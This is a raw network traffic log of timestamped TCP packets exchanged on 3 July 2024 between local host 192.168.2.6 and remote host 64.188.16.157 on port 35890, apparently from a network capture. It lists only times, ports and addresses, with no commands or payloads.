Jul 3, 2024 08:44:06.348885059 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.348942995 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.348954916 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.348965883 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.348999977 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.349013090 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.349037886 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.349112034 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.349122047 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.349150896 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.349215031 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.349226952 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.349258900 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.349296093 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.349307060 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.349318027 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.349328995 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.349344969 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.349369049 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.349428892 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.349441051 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.349472046 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.349495888 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.349508047 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.349518061 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.349534035 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.349560976 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.349734068 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.349745035 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.349756002 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.349766970 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.349777937 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.349817038 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.349925041 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.349937916 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.349965096 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.350045919 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.350056887 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.350068092 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.350089073 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.350095034 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.350101948 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.350114107 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.350120068 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.350123882 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.350136042 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.350146055 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.350178003 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.350414991 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.350430012 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.350464106 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.354492903 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.354521990 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.354531050 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.354567051 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.354593039 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.354685068 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.354703903 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.354715109 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.354746103 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.360682011 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.360704899 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.360713959 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.360773087 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.360785961 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.360795975 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.412358046 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.661261082 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.661279917 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.661292076 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.661365986 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.665317059 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.665340900 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.665350914 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.665381908 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.665416956 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.665419102 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.665431976 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.665442944 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.665469885 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.671446085 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.671494007 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.671504021 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.671508074 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.671546936 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.699790955 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.699806929 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.699819088 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.699927092 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.705461025 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.705490112 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.705501080 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.705533981 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.705565929 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.705590963 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.705601931 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.705662012 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.714056015 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.714097023 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.714107990 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.714159966 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.714199066 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.714210033 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.714243889 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.714253902 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.714267015 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.714296103 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.714329958 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.714342117 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.714354038 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.714373112 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.714389086 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.747958899 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.747981071 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.748120070 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.020859003 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.021013021 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.021024942 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.021038055 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.021106005 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.021157980 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.025829077 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.025861979 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.025896072 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.025928020 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.025937080 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.025948048 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.025970936 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.031110048 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.031121969 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.031135082 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.031167030 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.031203032 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.034531116 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.034549952 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.034559011 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.034589052 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.084182978 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.101180077 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.101202965 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.101214886 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.101226091 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.101238012 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.101293087 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.107461929 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.107506037 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.107527018 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.162350893 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.485636950 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.485683918 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.485699892 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.485713959 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.485726118 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.485727072 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.485763073 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.485857964 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.485871077 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.485882044 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.485897064 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.485901117 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.485913038 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.485913038 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.485925913 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.485965967 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.486057043 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.486095905 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.486121893 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.486133099 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.486171007 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.747541904 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.747579098 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.747590065 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.747602940 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.747616053 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.747626066 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.747627974 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.747653961 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.747689962 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.747699976 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.747769117 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.747806072 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.747821093 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.747890949 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.747901917 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.747912884 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.747924089 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.747932911 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.747961998 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.748130083 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.748147011 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.748158932 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.748172045 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.748176098 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.748183966 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.748193026 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.748205900 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.748235941 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.748361111 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.748378992 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.748389959 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.748400927 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.748410940 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.748414040 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.748441935 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.748466015 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.748600006 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.748611927 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.748651981 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.814955950 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.814974070 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.814987898 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.815036058 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.815094948 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.815105915 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.815116882 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.815128088 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.815140009 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.815174103 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.825398922 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.825417042 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.825428963 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.825439930 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.825448990 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.825484991 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.834299088 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.834345102 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:07.834373951 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:07.881072044 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:08.249033928 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.249062061 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.249155045 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:08.254292965 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.254308939 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.254321098 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.254395962 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:08.254450083 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.254487038 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:08.254540920 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.254550934 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.254597902 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:08.648716927 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.648741961 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.648751974 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.648763895 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.648839951 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.648852110 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.648850918 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:08.648868084 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.648879051 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.648900986 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:08.648922920 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:08.648951054 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.649061918 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.649072886 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.649084091 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.649094105 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:08.649120092 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:08.713241100 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.713334084 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.713344097 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.713362932 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.713373899 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.713385105 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.713391066 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:08.713397980 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.713438034 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:08.713536024 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.713571072 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:08.713639021 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.713650942 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.713666916 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.713677883 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.713689089 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.713697910 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:08.713699102 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.713713884 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:08.713743925 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:08.960825920 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.960849047 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.960866928 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.960876942 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.960887909 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.960897923 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.960897923 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:08.960937977 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:08.960937977 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:08.991247892 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.991266012 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.991280079 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.991290092 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.991348982 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:08.996341944 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.996388912 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.996401072 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.996429920 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:08.996433020 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:08.996526957 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:09.001044989 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:09.001084089 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:09.001123905 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:09.001140118 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:09.052911997 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:09.147595882 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:09.193680048 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:11.168416023 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:11.174222946 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:11.174237967 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:11.174248934 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:11.174263000 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:11.174273968 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:11.174338102 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:11.174392939 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:11.174767017 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:11.174778938 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:11.174820900 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:11.174829960 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:11.175301075 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:11.180232048 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:11.180315971 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:11.180325985 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:11.180335045 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:11.180396080 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:11.180404902 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:11.180974007 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:11.181068897 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:27.890352011 CEST	35890	49710	64.188.16.157	192.168.2.6
